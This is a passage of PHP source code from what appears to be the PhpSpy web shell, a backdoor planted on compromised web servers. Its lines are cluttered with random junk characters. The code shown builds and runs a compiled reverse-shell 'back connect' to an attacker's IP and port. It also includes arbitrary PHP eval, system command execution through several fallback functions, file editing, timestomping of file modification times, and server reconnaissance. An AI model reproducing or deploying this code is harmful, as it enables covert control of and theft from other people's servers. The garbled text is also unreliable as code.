: `2 q6 |. \" | - } else {. }$ ~( R3 K) b
- cf('/tmp/angel_bc.c',$back_connect_c);" f$ K( s3 P( i
- $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');( N. P! y7 V' _& y' `8 m
- @unlink('/tmp/angel_bc.c');# p/ b! T: w% S5 Q) f8 K: r
- $res = execute("/tmp/angel_bc $yourip $yourport &");1 x. k" p1 S% j1 V9 y: c9 c
- }
! N }: c# I% _' f! f) K0 V: f. J, R - m("Now script try connect to $yourip port $yourport ...");! n0 \% l- x1 b# @
- }
* v7 ^) }9 ]& N - formhead(array('title'=>'Back Connect'));
4 b6 t5 R. X; a5 c8 q4 O) H - makehide('action','backconnect');
' T8 _, W5 } v - p('<p>');- ?" [+ G+ }0 U7 ]7 ^- F5 S
- p('Your IP:'); k7 S& ^! e" q6 I8 J
- makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));3 G( y% X( A _8 P8 @% O6 [
- p('Your Port:');+ l2 k U Z1 P* |
- makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
5 j) R, c: S& `% v4 f$ r - p('Use:');3 I# _* w9 ]8 Y. o) d
- makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));& k; Y* I) g; L" H% {
- makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));% D3 s* ^/ }. |/ i: c% Y8 d9 D
- p('</p>');! q, B, l P* V7 a6 `% w
- formfoot();) Z" L! V% p9 ]
- }//end sql backup
' r3 t& D, m( o1 G) k - elseif ($action == 'eval') {" e. i1 t! A! q* a! Z: i, C. v
- $phpcode = trim($phpcode);) p0 J- n, W2 k; K$ G" ?
- if($phpcode){* c* T; a7 z6 h0 X S% e: _. s% Z" f
- if (!preg_match('#<\?#si', $phpcode)) {
) O) _1 ~ T+ j - $phpcode = "<?php\n\n{$phpcode}\n\n?>";' ^8 X7 U) T5 h, ~
- }' f: V% |' i/ Q: D' s
- eval("?".">$phpcode<?");/ w) d' G7 X# O. ?* x! K$ K
- }
- [) M( [8 S& p3 b" w7 c. d - formhead(array('title'=>'Eval PHP Code'));5 I! A+ K7 Z c& E
- makehide('action','eval');
8 w4 Z. D2 E, R& n3 x" L - maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
! T7 ~! j! v% R! m& K3 z - p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');# Y: Z N) G/ T8 P
- formfooter();
/ x& A6 G0 B# D) g4 m - }//end eval9 n" u6 n" p+ L' ?, `: E
-
* J" O/ y: b6 q! ]3 C6 ^6 C5 C: C - elseif ($action == 'editfile') {* g7 }% P- B8 `, t, e( \+ U
- if(file_exists($opfile)) {
5 m+ x, w+ I- {/ _, i# j/ x - $fp=@fopen($opfile,'r');
" O- B& v* ?8 ^ v' l$ @% @ - $contents=@fread($fp, filesize($opfile));$ i. n- k) z, e# l
- @fclose($fp);% ^5 |5 L" a' M7 U5 O, T" M
- $contents=htmlspecialchars($contents);5 \7 L) n4 Q) S7 B" j
- }
& Z! v% C' z* w* a# v: z; E! a - formhead(array('title'=>'Create / Edit File'));
% X& t6 M$ D i - makehide('action','file');
7 u# X+ V) S! o+ A# D - makehide('dir',$nowpath);
' T7 b T9 z4 }- K - makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));, a7 \" f2 ^; H+ v; n
- maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
) ^; W4 E q5 y# x; ~) I0 K - formfooter();
# W* J3 O0 ]8 T" X u& r3 ?# e! [ - }//end editfile
7 u$ N+ X) D3 h& {' g - , X5 [6 E7 d0 Z6 W0 e
- elseif ($action == 'newtime') {
$ a9 r/ x, f3 y& x( f+ z - $opfilemtime = @filemtime($opfile);
, g" m, Q* l* ] - //$time = strtotime("$year-$month-$day $hour:$minute:$second");' t1 J% A' q" w2 \ Q
- $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);0 Q) d7 p+ H% T/ t- d
- formhead(array('title'=>'Clone file was last modified time'));( M1 z& g0 e u9 T0 p' [- ] E7 d/ W
- makehide('action','file');1 A2 R/ n+ S7 ~$ ~* Q$ ^
- makehide('dir',$nowpath);
% G# B$ w( T$ h+ K# e# A" s* h7 A8 O - makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
| z4 S4 x- x5 w) b6 k% _ - makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));, J- [. U! x! g
- formfooter();7 {, c* {9 a+ r& Q
- formhead(array('title'=>'Set last modified'));
Y/ {' v# }# z - makehide('action','file');
0 j7 t4 s$ y R: | - makehide('dir',$nowpath);0 K) O8 }" S h4 E
- makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
' J; W' ?: S$ _# V4 a+ G - p('<p>Instead »');% n' h# z- x% _1 \$ d# p2 \% w
- p('year:');
9 E' l- _, Y. ^- k8 l! \) V. t4 C - makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
5 F5 a5 g+ `, q4 c* q+ f - p('month:');
1 s( D/ [( Z- B8 Y4 ^" G) G - makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));) O3 a9 @ c: {; l8 u( e
- p('day:');
4 u# F8 [& q+ D9 X" h9 L" x - makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));, V7 Z. y3 W' T4 V$ [* n3 \
- p('hour:');
& n9 D. }7 T! t( h! f' L H! X - makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));! N1 P1 B) r7 G4 A6 t; l
- p('minute:');: |0 _9 f. b8 u/ m% d0 U& s e
- makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));% M5 Y1 H% `/ i
- p('second:');8 Y% t3 |& o7 R2 K% x- z
- makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
" Q% j1 z' j' A8 E4 \/ V& A+ x8 u - p('</p>');
( I2 h% G; h. s: C9 F - formfooter();
+ P- c6 J: d$ j* } - }//end newtime3 f( A1 Q# C3 m! a" ~3 J
- ! F9 _- Z$ J1 I! ?
- elseif ($action == 'shell') {! d- C4 ^) c7 A- U: v+ t
- if (IS_WIN && IS_COM) {, s9 n/ U; _! r" z
- if($program && $parameter) {
* c% l) |3 ^ p( Y - $shell= new COM('Shell.Application');8 ]: Z. n% h, t, j
- $a = $shell->ShellExecute($program,$parameter);
U6 E7 h: I9 B2 r8 h. R - m('Program run has '.(!$a ? 'success' : 'fail'));
4 z# I* @" Y; k4 S" q+ p% }" k/ ? - }5 }2 a2 D' U9 e( A, z3 D
- !$program && $program = 'c:\windows\system32\cmd.exe';
1 P/ Z: a0 v/ i" a/ v, f - !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';6 F0 f$ B* r/ y$ d
- formhead(array('title'=>'Execute Program'));5 ?( R3 m2 J8 q
- makehide('action','shell');
9 ^7 v. }) ^, i! ?& j - makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));& a z9 l/ m7 M( S
- p('<p>');
0 n# U5 k2 r2 u - makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));+ o6 B3 y& A! V, {
- makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
) W7 q$ C X. k" Y" P2 ` - p('</p>');
8 T- B2 b" ? Q1 B* J - formfoot();
/ P6 {. g, r! {- y5 ? - }0 Q f. L/ ]6 J+ x+ l
- formhead(array('title'=>'Execute Command'));
0 Z" d( A$ Y, ]; T4 d5 h9 N - makehide('action','shell');
. r* g1 T1 }$ H. t2 @ - if (IS_WIN && IS_COM) {
8 I- B( l. w$ ]8 A+ {) [0 F - $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');; Q6 w$ F4 j# c- \; a7 s5 q
- makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
; P2 b/ V: S) X* D - }
1 o# ~0 S& I' J9 p( \6 p - p('<p>');
5 k& O: J8 B+ s/ U' P/ d' }, c - makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
, c4 K/ v7 x) E# q5 B. n/ z2 H d - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
# [% Z5 x4 x' [' a. f. H* a, O* | - p('</p>');
& u- `& N0 ]4 N5 H1 \ - formfoot();
' m4 I' L" b# l) V4 e2 z. r -
; ^* j" _' E/ B9 o - if ($command) {
$ n+ D+ k) i8 Z3 R$ G - p('<hr width="100%" noshade /><pre>');+ c& O0 `8 w# X4 D
- if ($execfunc=='wscript' && IS_WIN && IS_COM) {
+ }8 L. o% }; l$ d# J2 E6 J - $wsh = new COM('WScript.shell');
8 ?5 w& o4 ]1 b3 Y+ a7 ]: A - $exec = $wsh->exec('cmd.exe /c '.$command);% p) B0 T' k5 P
- $stdout = $exec->StdOut();
7 j. n5 H: Z# R - $stroutput = $stdout->ReadAll();
8 @; L+ Y& p, ~% E& o; }# { - echo $stroutput;# t' M ^: F/ l; }
- } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {# p0 f }9 q" C7 I7 w4 j% |
- $descriptorspec = array(
1 y& g6 B: W3 ^- p! W( F! a$ F: v - 0 => array('pipe', 'r'),
I: J: q) i" E( ^+ _! k - 1 => array('pipe', 'w'),7 P8 s$ W5 T4 `- N% i5 F8 c
- 2 => array('pipe', 'w')
4 |4 Q5 V& v/ Y) t; k - );
3 Q8 C' I" F7 S. o4 J - $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
j" T8 i8 z5 {, C( P+ B- E - if (is_resource($process)) {
% b4 i( i5 h/ d G9 i% Q2 p - fwrite($pipes[0], $command."\r\n");
- |, x/ A( E: G* C ` - fwrite($pipes[0], "exit\r\n");
, s J0 F# Z1 O4 z- P9 O - fclose($pipes[0]);
V. {& {8 t \# e - while (!feof($pipes[1])) {
+ l- g$ K0 s8 f0 B& S' S - echo fgets($pipes[1], 1024);( ?5 b+ N+ ~1 x: ~) v: R" J
- }
4 l4 c" R: J# s - fclose($pipes[1]);7 {8 C& }: h c, i
- while (!feof($pipes[2])) {
9 M/ P5 ?* A1 {' d2 |6 x9 ~ - echo fgets($pipes[2], 1024);
: L( r% q& @$ c& }1 L- u4 I# c - }5 }& e% a' J V
- fclose($pipes[2]);! @: f3 l" D* M9 X0 B; P* X
- proc_close($process);
1 }$ q% {( n0 c* V - }! @# P9 b) f- B3 w' o$ g0 V
- } else {
' v7 y- m! ]: R" H( X0 c1 b2 f - echo(execute($command));
, A# u' t7 U7 s# n - }
: n; q6 T2 K9 o3 u - p('</pre>');! @7 V/ y" n7 ^# a
- }3 ]" t& u7 t5 y u
- }//end shell
6 t0 V3 f8 Y, ` - + ~: g8 _! Q8 o
- elseif ($action == 'phpenv') {
- b$ k1 r* w: m2 z - $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
/ r0 M w% I% k* ~5 [9 c3 h+ C - $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');% {( K6 \% [1 \
- !$dis_func && $dis_func = 'No';
0 q( Q6 t5 Z& l0 Y - $info = array(
6 R0 C% ^4 p3 f0 T, X - 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
& v2 h# ^$ y* T. Y m6 ] - 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
. u& W" \) H0 }/ C - 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),+ p# U3 Y0 ]" @+ o; ?
- 4 => array('Server OS',PHP_OS),& _% E2 L) l0 g" M: g/ o7 ?
- 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
2 U, J- n+ U4 e; H9 h8 M, n - 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
( D4 X: y/ N9 f( g% L( A - 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
9 `; Z. e0 h* j: A/ N. d1 O - 8 => array('PHP run mode',strtoupper(php_sapi_name())),# z5 Y- h& ^' g. V" N4 B3 i+ D
- 9 => array('The file path',__FILE__),! k3 ~: C4 y4 K3 Z5 Y
- % P: ^4 n. i' h# H9 _# i# D
- 10 => array('PHP Version',PHP_VERSION),
3 E( ]& Y3 d3 P! U7 Q l6 h. R2 m - 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),: V/ \/ c/ i$ w2 X2 M2 b. ~8 ~4 U
- 12 => array('Safe Mode',getcfg('safe_mode')),
+ F; f4 @8 y3 k( I' h; u - 13 => array('Administrator',$adminmail),; H' q; a, [7 d9 q+ w
- 14 => array('allow_url_fopen',getcfg('allow_url_fopen'))," ^: S% w+ g* F. y
- 15 => array('enable_dl',getcfg('enable_dl')),
3 e2 @% `! P# E7 H& t - 16 => array('display_errors',getcfg('display_errors')),2 O6 ^- \1 W3 ^1 n
- 17 => array('register_globals',getcfg('register_globals')),
: x0 d% g4 \" r# ]9 ? - 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),: }: I9 Z3 R9 ?* _+ t* R* s7 f) [, w
- 19 => array('memory_limit',getcfg('memory_limit')),8 r; M8 r+ u$ E. h" H& w
- 20 => array('post_max_size',getcfg('post_max_size')),9 Y- L3 f/ C& j1 S; i+ q) D% {
- 21 => array('upload_max_filesize',$upsize),
; Z- w( t) f8 `$ n8 n1 K l9 v - 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),$ c; a* `) d M. [" H' J
- 23 => array('disable_functions',$dis_func),0 g3 R/ ?6 u: L9 @1 S$ k$ v! N- j+ q
- );: _- ^: G3 |3 g$ e) Q
-
: {; K& S8 i2 Q" A3 ^8 D9 d4 o - if($phpvarname) {
( j8 s4 M% w, b' y* c - m($phpvarname .' : '.getcfg($phpvarname));3 }! h9 c. ~3 S& }* H6 X8 j! P
- }* _. o1 R3 N- N' E
- 1 Z/ j4 G9 D* n: A
- formhead(array('title'=>'Server environment'));
! p' A6 B/ P0 N( A2 h0 f- A+ R - makehide('action','phpenv');
; b+ D% b4 l0 d- _0 z - makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));) N% i3 v/ ^4 H8 U
- formfooter();
6 [+ u: v5 H7 { h/ M$ P( I - ; [+ c5 U. M/ @+ Z I+ V0 d7 W# u
- $hp = array(0=> 'Server', 1=> 'PHP');0 m9 ^% H0 n1 w" w# r/ j( R! n
- for($a=0;$a<2;$a++) {
: a J/ |5 b' G- Y: `8 [ d; T3 ?. w - p('<h2>'.$hp[$a].' »</h2>');
1 [2 g% A. e& E& P8 i. g# q$ P, p* m - p('<ul class="info">');; D+ Y! E& k. B5 K' J3 \6 s. L
- if ($a==0) {
2 h3 ~" l- M* r. Q7 A! D - for($i=1;$i<=9;$i++) {7 ^: }8 v% ~ a; K ], ~7 ^
- p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
v) a# ~: D7 D3 {) ~0 E& e - }7 D3 k- f* w( J2 E- c. n* y
- } elseif ($a == 1) {) I5 |" N& @* P) a8 G' S
- for($i=10;$i<=23;$i++) {
' d, d* O% e7 n3 M4 H; ^" X - p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
9 G+ s, T$ D: l3 G2 y7 b8 q - }
# r4 B: [9 ?: M: Q0 ~- o - }
+ z& Y7 U$ u, _% H' e3 a - p('</ul>');
6 |! m. k2 r7 @; ` - }9 @! ~) ?+ w& n1 t3 T# F6 j
- }//end phpenv! z9 D( k: o0 N7 i+ L2 C, }" ?
-
$ m+ A. D, W% {( a! e" b) W5 d- l3 ] - else {4 N" R/ K( _ A" }; R
- m('Undefined Action');
0 t) C+ o! k$ A% Z% p - }
9 w* p) r& m. |* r$ W - . A5 I; \" E4 p& k; N, j
- ?>. y; @0 t/ N9 J. j
- </td></tr></table>; Y# P! k" _! x$ Y8 `. L) X
- <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
# p; N1 ^* z2 y$ D; ~% D - <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
4 I4 n& d8 a$ M - Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.+ t2 A( l; w7 ^! o, y% e( m/ t
- </div>
1 P9 S! V; ^! d+ f+ K - </body>3 _% Z7 a& b" _$ w6 W- {& H
- </html>
* W( H; U/ N# y4 @ -
: ~- c0 U0 Y2 n6 g% J0 @ - <?php
; L8 Q E5 e8 r0 @7 [ ~# B - ~) u$ w0 v; A9 Z% K) e
- /*======================================================
" P! K& f0 h$ V G# m. c' e! { - 函数库
9 x5 v* d' a" |+ y9 S - ======================================================*/' s7 k1 k0 l. E/ g6 @1 o" ?3 P
-
, G( ~, @0 L! O. L2 y - function m($msg) {
9 t0 O6 F; ]" l - echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';. C1 n4 u' \( c" t5 j
- echo $msg;$ }6 L- O0 N- o8 k4 s' x/ D
- echo '</div>';+ I7 f7 r1 ]# B
- }
4 R+ `# Q0 ]. o5 R, |$ T7 N - function scookie($key, $value, $life = 0, $prefix = 1) {
' w7 ?% W& y% [) i/ t" m - global $admin, $timestamp, $_SERVER;
: q j% i* a$ U5 s% C3 y+ B( r - $key = ($prefix ? $admin['cookiepre'] : '').$key;
7 \7 c0 J, p* d. k - $life = $life ? $life : $admin['cookielife'];
' n5 ]; D: F9 C" F" G8 O# G& `* Q- N - $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;( d/ L, ^1 V7 i# [) ?, h
- setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);3 x5 ]1 W, `( `- l
- }
# g4 u8 J4 J; o - function multi($num, $perpage, $curpage, $tablename) {8 S/ G; A/ T$ y. z6 c) v1 `
- $multipage = '';
' S* e* N3 r; t6 u# { - if($num > $perpage) {' G: X t* `3 `; D, N" Z6 U9 C
- $page = 10;
! V1 I$ {0 A' d, \ ^8 B - $offset = 5;# P" F& H8 k" L9 w9 f* c
- $pages = @ceil($num / $perpage);) q5 e: ~: z: ?+ b3 J$ z, }
- if($page > $pages) {
: ]+ } \$ C& N! l1 J: Y7 _5 {) R+ l - $from = 1;! ~! J0 P) r$ j& I2 q/ I
- $to = $pages;
- `: e/ ~# q- n8 o( b4 O - } else {
8 n9 u: c0 O8 k3 b4 S6 ^) t - $from = $curpage - $offset;0 `( f- D5 _4 c7 y
- $to = $curpage + $page - $offset - 1;
* u: a7 S1 w8 Q( ] - if($from < 1) {
/ N* k) Z: n% O: c: Z! V0 b - $to = $curpage + 1 - $from;9 @! {* D$ j' v* M& {
- $from = 1;
5 N0 q2 X& D7 @+ v( s/ m - if(($to - $from) < $page && ($to - $from) < $pages) {
: g( y2 t+ h$ y7 z - $to = $page;
: G% s* B# w: @- }( A; H - }
1 C& U$ C+ b( V3 m) w4 J# }$ G - } elseif($to > $pages) {7 k0 @( {+ c0 m! w% V/ b3 w
- $from = $curpage - $pages + $to;; T+ |4 h' G7 l2 g& K2 f3 O
- $to = $pages;
/ B1 Z" n- q' G( ?5 E - if(($to - $from) < $page && ($to - $from) < $pages) {
9 ^# r' c$ T( E - $from = $pages - $page + 1;1 l" g) n: G L# r6 ]
- }
' N1 x$ Y$ U0 ^* X' [$ ? - }& N( m: r G+ ~& d7 g- \1 l+ ^) t
- }
; A/ b5 \; S; o, k, n, N1 @. G1 L - $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');/ f7 B7 E) _; @9 U% y
- for($i = $from; $i <= $to; $i++) {
V& B: w/ o/ M0 ]* h - $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';' l7 _- ], _- m+ o& G
- }+ e# e, ^* w; I% I1 T0 @) X( _
- $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
$ p! |# \, S1 N5 j: V. e9 j0 F/ Y - $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';9 j' o( T: ?6 h8 F S* P! G3 q
- }
) p6 g; e; H M7 m3 f$ h - return $multipage;
8 J: u+ x( m, D; i6 y( m2 E - }
8 ^( ^; y3 @& Y5 m - // 登陆入口7 T) u' Q$ R2 D$ y8 j6 o
- function loginpage() {+ ]2 p/ U, Z2 w4 \7 B
- ?>- B% v9 X8 h4 x' t
- <style type="text/css">) F% [! b3 `+ j0 i2 X* `4 }
- input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}' j% i, H/ K1 f6 }/ M
- </style>! T, g0 J" W' ?! k
- <form method="POST" action="">
3 S; G4 o. R/ z; v4 x+ l2 G - <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">2 i% w$ @! k# Z/ c7 z4 L/ a0 F
- <input type="hidden" name="doing" value="login">
; g! m1 R/ N5 v: {- K+ K - <input type="submit" value="Login">* g( \; O) [% S& x2 ]
- </form>2 q7 j( K5 q9 i; ?, L9 }. L
- <?php
* G4 e" [& k- W$ D - exit;
. h; f4 v' P1 [; S. @ - }//end loginpage()
0 [$ i' j! j7 H1 i -
9 F+ V# H; A3 d% K( ?: O1 ]$ _ - function execute($cfe) {) g2 |9 O; X# k6 T
- $res = '';
9 J7 l, l5 Y9 e, V4 V - if ($cfe) {
* Y. E: q3 y+ r: M/ \$ D& @& ` - if(function_exists('exec')) {
5 w% d6 x; B) I5 q! | - @exec($cfe,$res); a2 Z! H- F6 \ J3 ?" r. m; I
- $res = join("\n",$res);
; \- t6 n1 b3 m9 s3 |! O( i - } elseif(function_exists('shell_exec')) {
2 v1 Q0 x2 B; X, C - $res = @shell_exec($cfe);
2 H2 ]! I$ G r( {" y4 z - } elseif(function_exists('system')) {
6 w4 S* L" M' ~ - @ob_start();
& e, u5 U8 i1 _5 K* ?' [6 j. l" X - @system($cfe);
: L, d' Z* y( w - $res = @ob_get_contents();' i7 R$ U$ |8 b9 Y
- @ob_end_clean();; k* ]" U$ W/ v; d2 b- }$ C- A/ r/ C2 a
- } elseif(function_exists('passthru')) {
/ R4 t- k- n% w- ?9 E5 } - @ob_start();# J# S% R7 c4 O' S: }
- @passthru($cfe);: z% v. H7 l @4 }
- $res = @ob_get_contents();2 Q% D; ^' [2 M& F
- @ob_end_clean();6 H1 L( {& z/ Q" {6 E
- } elseif(@is_resource($f = @popen($cfe,"r"))) {/ [7 s+ x7 V. M( A
- $res = '';; m4 N! O: y# ^) o: X6 u
- while(!@feof($f)) {1 ?& o" z) q* t( E) F# i) ~7 M
- $res .= @fread($f,1024);
+ j- |! ]4 ]* s - }9 d2 J( g5 ]" u. J- V) A
- @pclose($f);7 f( \2 Z8 a7 F2 N& d2 X( r$ ]
- } G0 f% h' m4 g0 J/ [
- }
; o8 c$ c7 o! l) h - return $res; ], E( h# E" u# e3 Z
- }) u3 N' D. ^. T# u1 M$ Z0 S" P; q- M
- function which($pr) {# [0 K4 T+ u6 ], e% W
- $path = execute("which $pr");
0 w9 _8 I) k; I# l) x - return ($path ? $path : $pr);
+ ?( E. w7 b# F9 R6 _ - }4 [) Z1 V$ U/ c3 m. ^
-
- }; J, T4 J. \: {7 D - function cf($fname,$text){
2 p R/ b$ n( g* Y# c5 b8 _$ o - if($fp=@fopen($fname,'w')) {
" ?5 `" r: G; b8 l+ m' x8 |: u$ c - @fputs($fp,@base64_decode($text));8 }" G* J5 v# G
- @fclose($fp);
; I# `: q( G5 c- l - }: _# V1 v$ X; r* l
- }
4 S0 K. ^ J; s* q2 g" _ - 6 v* b3 ] |: B( L! M/ q8 s9 D: W/ k7 J
- // 页面调试信息. ?) |( H2 u* W: R5 n
- function debuginfo() {3 n+ z" k5 V! S9 Y: |/ ~
- global $starttime;2 P9 u; M" U, E! g8 w3 \. l M* ?
- $mtime = explode(' ', microtime());
; Y) a3 _. l( f# U, Q - $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
3 S9 S4 u8 M& S& c- _( ?' h9 Z - echo 'Processed in '.$totaltime.' second(s)';
/ V" o2 K1 ]+ m; H: F: ^9 w7 D - }
# E- `9 Z0 ~& m -
( ~" e- X4 H( q0 F2 Q A - //连接数据库, d. n8 h. G, K; H' l9 R* ~! h
- function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {8 r2 t3 R$ }, ?! f
- if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {0 G4 I- m7 r8 I9 ~" N8 z
- p('<h2>Can not connect to MySQL server</h2>');
" S9 m; N- _4 r3 H: t9 `, F3 i - exit;8 @& k6 R- c, v
- }0 ~* f0 z% n/ a7 \8 { l
- if($link && $dbname) {' J* U: ^4 R/ [5 u+ k
- if (!@mysql_select_db($dbname, $link)) {% ~; j/ W" }. s3 N7 [! c6 g
- p('<h2>Database selected has error</h2>');
2 |9 F, _) e% r- H' x - exit;1 q! v( `: g- ^! U" K6 p; f" w/ h1 y; B
- }
5 U0 u! O+ x8 M$ ~9 N - }
6 \1 S: r& v/ A( i8 Y E - if($link && mysql_get_server_info() > '4.1') {7 L! O' z( ^3 I2 V
- if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {3 I8 R- Z. T" F/ D! g
- q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
+ B$ A# g# l2 |8 ? - } S2 i! s4 f. q! u
- }2 s, s' u5 }2 I
- return $link;0 }" \2 ^8 V" z# Z2 h$ N+ I/ i
- }- n3 q R! K6 i9 j! ?& t
- , R. b8 c$ ]4 d# Q" _
- // 去掉转义字符
8 T) j( ? j0 U( S8 E$ ^ - function s_array(&$array) {4 s' u4 Z+ x" _. K4 f. ^9 w4 e: @9 ^
- if (is_array($array)) {% p$ [& b' W# G+ O2 f
- foreach ($array as $k => $v) {
8 l) e6 m* e7 D - $array[$k] = s_array($v);$ B% i$ p# _) j3 }* e' N
- }2 r2 e; w% R- O7 u. K" |) w
- } else if (is_string($array)) {2 W0 M; u$ W# q3 m$ t
- $array = stripslashes($array);8 S0 w; O/ F0 l, t% Z$ N; `
- }
9 b4 ]2 B5 q( q: H: o7 z4 A ` - return $array;! K) b/ U0 Z* i/ _8 u: Q
- }
/ R( k+ k$ b; T( T+ h -
- [/ C4 Q' u4 [# [/ B9 j - // 清除HTML代码8 W2 s, J- v l& b# e
- function html_clean($content) {
! M7 w' b! Y) h/ p2 ? - $content = htmlspecialchars($content);5 C$ G9 K7 S# C( ^3 t) U& V$ e
- $content = str_replace("\n", "<br />", $content);1 D/ y; J! L! I; _$ H' D4 o
- $content = str_replace(" ", " ", $content);
* p& ]* C. H7 q5 K) E - $content = str_replace("\t", " ", $content);
& ^$ H" \! x' ]8 F, O! P' M - return $content;
2 U3 B1 c( M9 R9 E6 Z& ? - }
/ c2 p. l! i: l/ d! T5 N - 0 a% G& q- I6 G0 t& {
- // 获取权限' [7 F W6 K" N( e. r. h9 O
- function getChmod($filepath){- O9 J4 w! ~1 C* Y( X* @: t8 N
- return substr(base_convert(@fileperms($filepath),10,8),-4);
3 H7 \$ g0 i( d8 G - }
( Y, ]& o4 ?( a# Q O/ M% _ -
- a9 H2 X! o: C. E" y - function getPerms($filepath) {
' h$ L7 `" v4 y: H/ _* j - $mode = @fileperms($filepath);5 b! ]" |5 D2 ]; W" N T
- if (($mode & 0xC000) === 0xC000) {$type = 's';}3 k8 p% ] q7 y8 T
- elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
8 S- A5 |0 @0 a) v1 C - elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}* b+ b% F' F1 x, D* T g/ T1 p* R/ e
- elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
: u$ L% o1 e: n - elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}0 X6 t4 H7 @" F8 Z) h% H @1 C7 D9 t
- elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
6 ?0 l# C6 ~' `' v$ w - elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
+ N6 v Z: e* \+ {( n( ? - else {$type = '?';}
" e1 a; W3 w4 n; V -
2 z+ s- V ^3 u - $owner['read'] = ($mode & 00400) ? 'r' : '-'; t, x( I2 h1 C- v
- $owner['write'] = ($mode & 00200) ? 'w' : '-';
( j- a1 A$ k9 Y* O' { Z" a - $owner['execute'] = ($mode & 00100) ? 'x' : '-'; ( g# b' F6 f- z6 h5 q6 C+ D" |
- $group['read'] = ($mode & 00040) ? 'r' : '-'; . `9 R. V' t$ Z
- $group['write'] = ($mode & 00020) ? 'w' : '-';
]; q, y/ _- p# h0 { - $group['execute'] = ($mode & 00010) ? 'x' : '-';
' c9 U7 q7 v9 s' J0 Q7 ~) g$ ? - $world['read'] = ($mode & 00004) ? 'r' : '-'; 8 f" s) z# |" n) S- ^
